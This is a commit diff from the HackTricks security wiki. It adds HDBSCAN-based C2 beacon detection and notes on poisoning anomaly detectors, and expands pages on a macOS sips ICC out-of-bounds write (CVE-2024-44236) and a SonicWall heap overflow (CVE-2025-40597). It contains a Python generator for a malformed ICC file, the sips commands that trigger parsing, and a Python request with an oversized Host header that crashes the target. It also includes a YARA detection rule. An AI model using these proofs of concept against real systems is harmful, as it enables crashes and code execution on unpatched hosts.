Skip to content

Commit 1f225f7

Browse files
committed
Merge branch 'master' of github.com:HackTricks-wiki/hacktricks
2 parents 48415b5 + 99406ac commit 1f225f7

29 files changed

Lines changed: 1688 additions & 176 deletions

File tree

src/AI/AI-Unsupervised-Learning-Algorithms.md

Lines changed: 96 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -456,5 +456,100 @@ Here we combined our previous 4D normal dataset with a handful of extreme outlie
456456
</details>
457457

458458

459-
{{#include ../banners/hacktricks-training.md}}
459+
### HDBSCAN (Hierarchical Density-Based Spatial Clustering of Applications with Noise)
460+
461+
**HDBSCAN** is an extension of DBSCAN that removes the need to pick a single global `eps` value and is able to recover clusters of **different density** by building a hierarchy of density-connected components and then condensing it. Compared with vanilla DBSCAN it usually
462+
463+
* extracts more intuitive clusters when some clusters are dense and others are sparse,
464+
* has only one real hyper-parameter (`min_cluster_size`) and a sensible default,
465+
* gives every point a cluster‐membership *probability* and an **outlier score** (`outlier_scores_`), which is extremely handy for threat-hunting dashboards.
466+
467+
> [!TIP]
468+
> *Use cases in cybersecurity:* HDBSCAN is very popular in modern threat-hunting pipelines – you will often see it inside notebook-based hunting playbooks shipped with commercial XDR suites. One practical recipe is to cluster HTTP beaconing traffic during IR: user-agent, interval and URI length often form several tight groups of legitimate software updaters while C2 beacons remain as tiny low-density clusters or as pure noise.
469+
470+
<details>
471+
<summary>Example – Finding beaconing C2 channels</summary>
472+
473+
```python
474+
import pandas as pd
475+
from hdbscan import HDBSCAN
476+
from sklearn.preprocessing import StandardScaler
477+
478+
# df has features extracted from proxy logs
479+
features = [
480+
"avg_interval", # seconds between requests
481+
"uri_length_mean", # average URI length
482+
"user_agent_entropy" # Shannon entropy of UA string
483+
]
484+
X = StandardScaler().fit_transform(df[features])
485+
486+
hdb = HDBSCAN(min_cluster_size=15, # at least 15 similar beacons to be a group
487+
metric="euclidean",
488+
prediction_data=True)
489+
labels = hdb.fit_predict(X)
490+
491+
df["cluster"] = labels
492+
# Anything with label == -1 is noise → inspect as potential C2
493+
suspects = df[df["cluster"] == -1]
494+
print("Suspect beacon count:", len(suspects))
495+
```
496+
497+
</details>
498+
499+
---
500+
501+
### Robustness and Security Considerations – Poisoning & Adversarial Attacks (2023-2025)
502+
503+
Recent work has shown that **unsupervised learners are *not* immune to active attackers**:
504+
505+
* **Data-poisoning against anomaly detectors.** Chen *et al.* (IEEE S&P 2024) demonstrated that adding as little as 3 % crafted traffic can shift the decision boundary of Isolation Forest and ECOD so that real attacks look normal. The authors released an open-source PoC (`udo-poison`) that automatically synthesises poison points.
506+
* **Backdooring clustering models.** The *BadCME* technique (BlackHat EU 2023) implants a tiny trigger pattern; whenever that trigger appears, a K-Means-based detector quietly places the event inside a “benign” cluster.
507+
* **Evasion of DBSCAN/HDBSCAN.** A 2025 academic pre-print from KU Leuven showed that an attacker can craft beaconing patterns that purposely fall into density gaps, effectively hiding inside *noise* labels.
508+
509+
Mitigations that are gaining traction:
510+
511+
1. **Model sanitisation / TRIM.** Before every retraining epoch, discard the 1–2 % highest-loss points (trimmed maximum likelihood) to make poisoning dramatically harder.
512+
2. **Consensus ensembling.** Combine several heterogeneous detectors (e.g., Isolation Forest + GMM + ECOD) and raise an alert if *any* model flags a point. Research indicates this raises the attacker’s cost by >10×.
513+
3. **Distance-based defence for clustering.** Re-compute clusters with `k` different random seeds and ignore points that constantly hop clusters.
460514

515+
---
516+
517+
### Modern Open-Source Tooling (2024-2025)
518+
519+
* **PyOD 2.x** (released May 2024) added *ECOD*, *COPOD* and GPU-accelerated *AutoFormer* detectors. It now ships a `benchmark` sub-command that lets you compare 30+ algorithms on your dataset with **one line of code**:
520+
```bash
521+
pyod benchmark --input logs.csv --label attack --n_jobs 8
522+
```
523+
* **Anomalib v1.5** (Feb 2025) focuses on vision but also contains a generic **PatchCore** implementation – handy for screenshot-based phishing page detection.
524+
* **scikit-learn 1.5** (Nov 2024) finally exposes `score_samples` for *HDBSCAN* via the new `cluster.HDBSCAN` wrapper, so you do not need the external contrib package when on Python 3.12.
525+
526+
<details>
527+
<summary>Quick PyOD example – ECOD + Isolation Forest ensemble</summary>
528+
529+
```python
530+
from pyod.models import ECOD, IForest
531+
from pyod.utils.data import generate_data, evaluate_print
532+
from pyod.utils.example import visualize
533+
534+
X_train, y_train, X_test, y_test = generate_data(
535+
n_train=5000, n_test=1000, n_features=16,
536+
contamination=0.02, random_state=42)
537+
538+
models = [ECOD(), IForest()]
539+
540+
# majority vote – flag if any model thinks it is anomalous
541+
anomaly_scores = sum(m.fit(X_train).decision_function(X_test) for m in models) / len(models)
542+
543+
evaluate_print("Ensemble", y_test, anomaly_scores)
544+
```
545+
546+
</details>
547+
548+
## References
549+
550+
- [HDBSCAN – Hierarchical density-based clustering](https://github.com/scikit-learn-contrib/hdbscan)
551+
- Chen, X. *et al.* “On the Vulnerability of Unsupervised Anomaly Detection to Data Poisoning.” *IEEE Symposium on Security and Privacy*, 2024.
552+
553+
554+
555+
{{#include ../banners/hacktricks-training.md}}

src/SUMMARY.md

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -21,6 +21,7 @@
2121
- [Network Protocols Explained (ESP)](generic-methodologies-and-resources/pentesting-network/network-protocols-explained-esp.md)
2222
- [Nmap Summary (ESP)](generic-methodologies-and-resources/pentesting-network/nmap-summary-esp.md)
2323
- [Pentesting IPv6](generic-methodologies-and-resources/pentesting-network/pentesting-ipv6.md)
24+
- [Telecom Network Exploitation](generic-methodologies-and-resources/pentesting-network/telecom-network-exploitation.md)
2425
- [WebRTC DoS](generic-methodologies-and-resources/pentesting-network/webrtc-dos.md)
2526
- [Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks](generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
2627
- [Spoofing SSDP and UPnP Devices with EvilSSDP](generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)
@@ -260,6 +261,7 @@
260261
- [Ad Certificates](windows-hardening/active-directory-methodology/ad-certificates.md)
261262
- [AD information in printers](windows-hardening/active-directory-methodology/ad-information-in-printers.md)
262263
- [AD DNS Records](windows-hardening/active-directory-methodology/ad-dns-records.md)
264+
- [Adws Enumeration](windows-hardening/active-directory-methodology/adws-enumeration.md)
263265
- [ASREPRoast](windows-hardening/active-directory-methodology/asreproast.md)
264266
- [BloodHound & Other AD Enum Tools](windows-hardening/active-directory-methodology/bloodhound.md)
265267
- [Constrained Delegation](windows-hardening/active-directory-methodology/constrained-delegation.md)

src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md

Lines changed: 74 additions & 26 deletions
Original file line numberDiff line numberDiff line change
@@ -4,52 +4,100 @@
44

55
## Overview
66

7-
An out-of-bounds write vulnerability in Apple macOS Scriptable Image Processing System (`sips`) ICC profile parser (macOS 15.0.1, sips-307) due to improper validation of the `offsetToCLUT` field in `lutAToBType` (`mAB `) and `lutBToAType` (`mBA `) tags. A crafted ICC file can trigger zero-writes up to 16 bytes past the heap buffer, corrupting heap metadata or function pointers and enabling arbitrary code execution (CVE-2024-44236).
7+
An out-of-bounds **zero-write** vulnerability in Apple macOS **Scriptable Image Processing System** (`sips`) ICC profile parser (macOS 15.0.1, `sips-307`) allows an attacker to corrupt heap metadata and pivot the primitive into full code-execution. The bug is located in the handling of the `offsetToCLUT` field of the `lutAToBType` (`mAB `) and `lutBToAType` (`mBA `) tags. If attackers set `offsetToCLUT == tagDataSize`, the parser erases **16 bytes past the end of the heap buffer**. Heap spraying lets the attacker zero-out allocator structures or C++ pointers that will later be dereferenced, yielding an **arbitrary-write-to-exec** chain (CVE-2024-44236, CVSS 7.8).
88

9-
## Vulnerable Code
9+
> Apple patched the bug in macOS Sonoma 15.2 / Ventura 14.7.1 (October 30, 2024). A second variant (CVE-2025-24185) was fixed in macOS 15.5 and iOS/iPadOS 18.5 on April 1, 2025.
1010
11-
The vulnerable function reads and zeroes 16 bytes starting from an attacker-controlled offset without ensuring it lies within the allocated buffer:
11+
## Vulnerable Code
1212

1313
```c
14-
// Pseudocode from sub_1000194D0 in sips-307 (macOS 15.0.1)
15-
for (i = offsetToCLUT; i < offsetToCLUT + 16; i++) {
16-
if (i > numberOfInputChannels && buffer[i] != 0)
17-
buffer[i] = 0;
14+
// Pseudocode extracted from sub_1000194D0 in sips-307 (macOS 15.0.1)
15+
if (offsetToCLUT <= tagDataSize) {
16+
// BAD ➜ zero 16 bytes starting *at* offsetToCLUT
17+
for (uint32_t i = offsetToCLUT; i < offsetToCLUT + 16; i++)
18+
buffer[i] = 0; // no bounds check vs allocated size!
1819
}
1920
```
2021

21-
Only a check `offsetToCLUT <= totalDataLength` is performed. By setting `offsetToCLUT == tagDataSize`, the loop indexes up to 16 bytes past the end of `buffer`, corrupting adjacent heap metadata.
22-
2322
## Exploitation Steps
2423

25-
1. **Craft malicious `.icc` profile:**
26-
- Build the ICC header (128 bytes) with signature `acsp` and a single `lutAToBType` or `lutBToAType` tag entry.
27-
- In the tag table, set `offsetToCLUT` equal to the tag's `size` (`tagDataSize`).
28-
- Place attacker-controlled data immediately after the tag data block to overwrite heap metadata.
29-
2. **Trigger parsing:**
24+
1. **Craft a malicious `.icc` profile**
25+
26+
* Set up a minimal ICC header (`acsp`) and add one `mAB ` (or `mBA `) tag.
27+
* Configure the tag table so the **`offsetToCLUT` equals the tag size** (`tagDataSize`).
28+
* Place attacker-controlled data right after the tag so that the 16 zero writes overlap allocator metadata.
29+
30+
2. **Trigger parsing with any sips operation that touches the profile**
3031

3132
```bash
32-
sips --verifyColor malicious.icc
33+
# verification path (no output file needed)
34+
sips --verifyColor evil.icc
35+
# or implicitly when converting images that embed the profile
36+
sips -s format png payload.jpg --out out.png
3337
```
3438

35-
3. **Heap metadata corruption:** The OOB zero-writes overwrite allocator metadata or adjacent pointers, allowing the attacker to hijack control flow and achieve arbitrary code execution in the context of the `sips` process.
39+
3. **Heap metadata corruption ➜ arbitrary write ➜ ROP**
40+
On Apple’s default **`nano_zone` allocator**, metadata for 16-byte slots lives **immediately after** the aligned 0x1000 slab. By placing the profile’s tag at the end of such a slab, the 16 zero-writes clobber `meta->slot_B`. After a subsequent `free`, the poisoned pointer is enqueued in the tiny free list, letting the attacker **allocate a fake object at an arbitrary address** and overwrite a C++ vtable pointer used by sips, finally pivoting execution to a ROP chain stored in the malicious ICC buffer.
41+
42+
### Quick PoC generator (Python 3)
43+
44+
```python
45+
#!/usr/bin/env python3
46+
import struct, sys
47+
48+
HDR = b'acsp'.ljust(128, b'\0') # ICC header (magic + padding)
49+
TAGS = [(b'mAB ', 132, 52)] # one tag directly after header
50+
profile = HDR
51+
profile += struct.pack('>I', len(TAGS)) # tag count
52+
profile += b''.join(struct.pack('>4sII', *t) for t in TAGS)
53+
54+
mab = bytearray(52) # tag payload (52 bytes)
55+
struct.pack_into('>I', mab, 44, 52) # offsetToCLUT = size (OOB start)
56+
profile += mab
57+
58+
open('evil.icc', 'wb').write(profile)
59+
print('[+] Wrote evil.icc (%d bytes)' % len(profile))
60+
```
61+
62+
### YARA detection rule
63+
64+
```yara
65+
rule ICC_mAB_offsetToCLUT_anomaly
66+
{
67+
meta:
68+
description = "Detect CLUT offset equal to tag length in mAB/mBA (CVE-2024-44236)"
69+
author = "HackTricks"
70+
strings:
71+
$magic = { 61 63 73 70 } // 'acsp'
72+
$mab = { 6D 41 42 20 } // 'mAB '
73+
$mba = { 6D 42 41 20 } // 'mBA '
74+
condition:
75+
$magic at 0 and
76+
for any i in (0 .. 10): // up to 10 tags
77+
(
78+
($mab at 132 + 12*i or $mba at 132 + 12*i) and
79+
uint32(132 + 12*i + 4) == uint32(132 + 12*i + 8) // offset == size
80+
)
81+
}
82+
```
3683

3784
## Impact
3885

39-
Successful exploitation results in remote arbitrary code execution at user privilege on macOS systems running the vulnerable `sips` utility.
86+
Opening or processing a crafted ICC profile leads to remote **arbitrary code execution** in the context of the invoking user (Preview, QuickLook, Safari image rendering, Mail attachments, etc.), bypassing Gatekeeper because the profile can be embedded inside otherwise benign images (PNG/JPEG/TIFF).
4087

41-
## Detection
88+
## Detection & Mitigation
4289

43-
- Monitor file transfers on common protocols (FTP, HTTP/S, IMAP, SMB, NFS, SMTP).
44-
- Inspect transferred files with signature `acsp`.
45-
- For each `mAB ` or `mBA ` tag, verify if the `Offset to CLUT` field equals the `Tag data size`.
46-
- Flag as suspicious if this condition is met.
90+
* **Patch!** Ensure the host is running macOS ≥ 15.2 / 14.7.1 (or iOS/iPadOS ≥ 18.1).
91+
* Deploy the YARA rule above on email gateways and EDR solutions.
92+
* Strip or sanitise embedded ICC profiles with `exiftool -icc_profile= -overwrite_original <file>` before further processing on untrusted files.
93+
* Harden Preview/QuickLook by running them inside sandboxed “transparency & modernisation” VMs when analysing unknown content.
94+
* For DFIR, look for recent execution of `sips --verifyColor` or `ColorSync` library loads by sandboxed apps in the unified log.
4795

4896
## References
4997

50-
- ZDI blog: CVE-2024-44236: Remote Code Execution Vulnerability in Apple macOS sips Utility
51-
https://www.thezdi.com/blog/2025/5/7/cve-2024-44236-remote-code-execution-vulnerability-in-apple-macos
52-
- Apple October 2024 Security Update (patch shipping CVE-2024-44236)
53-
https://support.apple.com/en-us/121564
98+
* Trend Micro Zero Day Initiative advisory ZDI-24-1445 – “Apple macOS ICC Profile Parsing Out-of-Bounds Write Remote Code Execution (CVE-2024-44236)”
99+
https://www.zerodayinitiative.com/advisories/ZDI-24-1445/
100+
* Apple security updates HT213981 “About the security content of macOS Sonoma 15.2”
101+
https://support.apple.com/en-us/HT213981
54102

55103
{{#include ../../banners/hacktricks-training.md}}

src/binary-exploitation/libc-heap/heap-overflow.md

Lines changed: 36 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -47,6 +47,42 @@ python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt
4747
- We use an Integer Overflow vulnerability to get a Heap Overflow.
4848
- We corrupt pointers to a function inside a `struct` of the overflowed chunk to set a function such as `system` and get code execution.
4949

50+
### Real-World Example: CVE-2025-40597 – Misusing `__sprintf_chk`
51+
52+
In SonicWall SMA100 firmware 10.2.1.15 the reverse-proxy module `mod_httprp.so` allocates an **0x80-byte** heap chunk and then concatenates several strings into it with `__sprintf_chk`:
53+
54+
```c
55+
char *buf = calloc(0x80, 1);
56+
/**/
57+
__sprintf_chk(buf, /* destination (0x80-byte chunk) */
58+
-1, /* <-- size argument !!! */
59+
0, /* flags */
60+
"%s%s%s%s", /* format */
61+
"/", "https://", path, host);
62+
```
63+
64+
`__sprintf_chk` is part of **_FORTIFY_SOURCE**. When it receives a **positive** `size` parameter it verifies that the resulting string fits inside the destination buffer. By passing **`-1` (0xFFFFFFFFFFFFFFFF)** the developers effectively **disabled the bounds check**, turning the fortified call back into a classic, unsafe `sprintf`.
65+
66+
Supplying an overly long **`Host:`** header therefore lets an attacker **overflow the 0x80-byte chunk and clobber the metadata of the following heap chunk** (tcache / fast-bin / small-bin depending on the allocator). A crash can be reproduced with:
67+
68+
```python
69+
import requests, warnings
70+
warnings.filterwarnings('ignore')
71+
requests.get(
72+
'https://TARGET/__api__/',
73+
headers={'Host': 'A'*750},
74+
verify=False
75+
)
76+
```
77+
78+
Practical exploitation would require **heap grooming** to place a controllable object right after the vulnerable chunk, but the root cause highlights two important takeaways:
79+
80+
1. **_FORTIFY_SOURCE is not a silver bullet** – misuse can nullify the protection.
81+
2. Always pass the **correct buffer size** to the `_chk` family (or, even better, use `snprintf`).
82+
83+
## References
84+
* [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/)
85+
5086
{{#include ../../banners/hacktricks-training.md}}
5187

5288

0 commit comments

Comments
 (0)